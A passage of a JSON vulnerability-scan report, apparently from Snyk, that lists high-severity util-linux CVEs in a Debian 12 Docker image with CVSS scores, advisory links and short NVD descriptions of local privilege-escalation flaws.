[https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf](https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf)\n- [https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper](https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f](https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f)\n",
"epssDetails": {
"percentile": "0.10694",
"probability": "0.00216",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76642"
],
"CWE": [
"CWE-390"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:50:34.412915Z",
"disclosureTime": "2026-09-03T13:06:08.440000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:50:34.418355Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:11.362496Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/libsmartcols1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libsmartcols1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513278",
"cpes": [],
"title": "Missing Release of File Descriptor or Handle after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.9,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78408",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78408"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78408",
"title": "https://access.redhat.com/security/cve/CVE-2026-78408"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/09/05/2",
"title": "http://www.openwall.com/lists/oss-security/2026/09/05/2"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 6.6,
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78408](https://security-tracker.debian.org/tracker/CVE-2026-78408)\n- [https://access.redhat.com/security/cve/CVE-2026-78408](https://access.redhat.com/security/cve/CVE-2026-78408)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522497](https://bugzilla.redhat.com/show_bug.cgi?id=2522497)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [http://www.openwall.com/lists/oss-security/2026/09/05/2](http://www.openwall.com/lists/oss-security/2026/09/05/2)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj](https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj)\n",
"epssDetails": {
"percentile": "0.07392",
"probability": "0.00186",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78408"
],
"CWE": [
"CWE-775"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:51:54.147974Z",
"disclosureTime": "2026-09-02T16:17:23.687000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:51:54.149932Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:16.366429Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/libsmartcols1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libsmartcols1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513283",
"cpes": [],
"title": "Link Following",
"CVSSv3": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78409",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78409"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78409",
"title": "https://access.redhat.com/security/cve/CVE-2026-78409"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522607"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7,
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.346229Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.701817Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78409](https://security-tracker.debian.org/tracker/CVE-2026-78409)\n- [https://access.redhat.com/security/cve/CVE-2026-78409](https://access.redhat.com/security/cve/CVE-2026-78409)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522607](https://bugzilla.redhat.com/show_bug.cgi?id=2522607)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv](https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv)\n",
"epssDetails": {
"percentile": "0.03788",
"probability": "0.00154",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78409"
],
"CWE": [
"CWE-59"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:52:29.071961Z",
"disclosureTime": "2026-09-02T16:17:23.833000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:52:29.074465Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:04.159247Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/libsmartcols1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libsmartcols1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513290",
"cpes": [],
"title": "Time-of-check Time-of-use (TOCTOU)",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78410",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78410"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78410",
"title": "https://access.redhat.com/security/cve/CVE-2026-78410"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522684"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:41.718430Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:46.643606Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:20.409615Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nA flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78410](https://security-tracker.debian.org/tracker/CVE-2026-78410)\n- [https://access.redhat.com/security/cve/CVE-2026-78410](https://access.redhat.com/security/cve/CVE-2026-78410)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522684](https://bugzilla.redhat.com/show_bug.cgi?id=2522684)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m](https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m)\n",
"epssDetails": {
"percentile": "0.04035",
"probability": "0.00156",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78410"
],
"CWE": [
"CWE-367"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:53:31.733841Z",
"disclosureTime": "2026-09-02T16:17:23.983000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:53:31.735935Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:20.877082Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"util-linux/libsmartcols1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libsmartcols1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513270",
"cpes": [],
"title": "Detection of Error Condition Without Action",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-76642",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-76642"
},
{
"url": "https://github.com/util-linux/util-linux",
"title": "https://github.com/util-linux/util-linux"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L476"
},
{
"url": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892",
"title": "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c%23L892"
},
{
"url": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a",
"title": "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a"
},
{
"url": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc",
"title": "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc"
},
{
"url": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf",
"title": "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf"
},
{
"url": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper",
"title": "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"assigner": "SUSE",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 7.8,
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.083087Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:06.120226Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"assigner": "SUSE",
"severity": "high",
"baseScore": 7.8,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:10.796717Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nutil-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-76642](https://security-tracker.debian.org/tracker/CVE-2026-76642)\n- [https://github.com/util-linux/util-linux](https://github.com/util-linux/util-linux)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476)\n- [https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892](https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892)\n- [https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a](https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a)\n- [https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc](https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc)\n- [https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf](https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf)\n- [https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper](https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f](https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f)\n",
"epssDetails": {
"percentile": "0.10694",
"probability": "0.00216",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76642"
],
"CWE": [
"CWE-390"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:50:34.412915Z",
"disclosureTime": "2026-09-03T13:06:08.440000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:50:34.418355Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:11.362496Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/mount@2.38.1-5+deb12u3",
"util-linux/libsmartcols1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libsmartcols1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513278",
"cpes": [],
"title": "Missing Release of File Descriptor or Handle after Effective Lifetime",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.9,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-78408",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-78408"
},
{
"url": "https://access.redhat.com/security/cve/CVE-2026-78408",
"title": "https://access.redhat.com/security/cve/CVE-2026-78408"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497",
"title": "https://bugzilla.redhat.com/show_bug.cgi?id=2522497"
},
{
"url": "https://access.redhat.com/errata/RHSA-2026:63162",
"title": "https://access.redhat.com/errata/RHSA-2026:63162"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/09/05/2",
"title": "http://www.openwall.com/lists/oss-security/2026/09/05/2"
},
{
"url": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj",
"title": "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"cvssV3BaseScore": 7.9,
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 6.6,
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-02T18:25:42.573221Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-03T07:55:50.442401Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 6.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-28T11:03:15.966733Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `util-linux` package and not the `util-linux` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nThe nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.\n## Remediation\nThere is no fixed version for `Debian:12` `util-linux`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-78408](https://security-tracker.debian.org/tracker/CVE-2026-78408)\n- [https://access.redhat.com/security/cve/CVE-2026-78408](https://access.redhat.com/security/cve/CVE-2026-78408)\n- [https://bugzilla.redhat.com/show_bug.cgi?id=2522497](https://bugzilla.redhat.com/show_bug.cgi?id=2522497)\n- [https://access.redhat.com/errata/RHSA-2026:63162](https://access.redhat.com/errata/RHSA-2026:63162)\n- [http://www.openwall.com/lists/oss-security/2026/09/05/2](http://www.openwall.com/lists/oss-security/2026/09/05/2)\n- [https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj](https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj)\n",
"epssDetails": {
"percentile": "0.07392",
"probability": "0.00186",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-78408"
],
"CWE": [
"CWE-775"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "util-linux",
"creationTime": "2026-09-03T15:51:54.147974Z",
"disclosureTime": "2026-09-02T16:17:23.687000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-03T15:51:54.149932Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-28T11:03:16.366429Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux/mount@2.38.1-5+deb12u3",
"util-linux/libsmartcols1@2.38.1-5+deb12u3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "util-linux/libsmartcols1",
"version": "2.38.1-5+deb12u3"
},
{
"id": "SNYK-DEBIAN12-UTILLINUX-19513283",
"cpes": [],
"title": "Link Following",
"CVSSv3": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
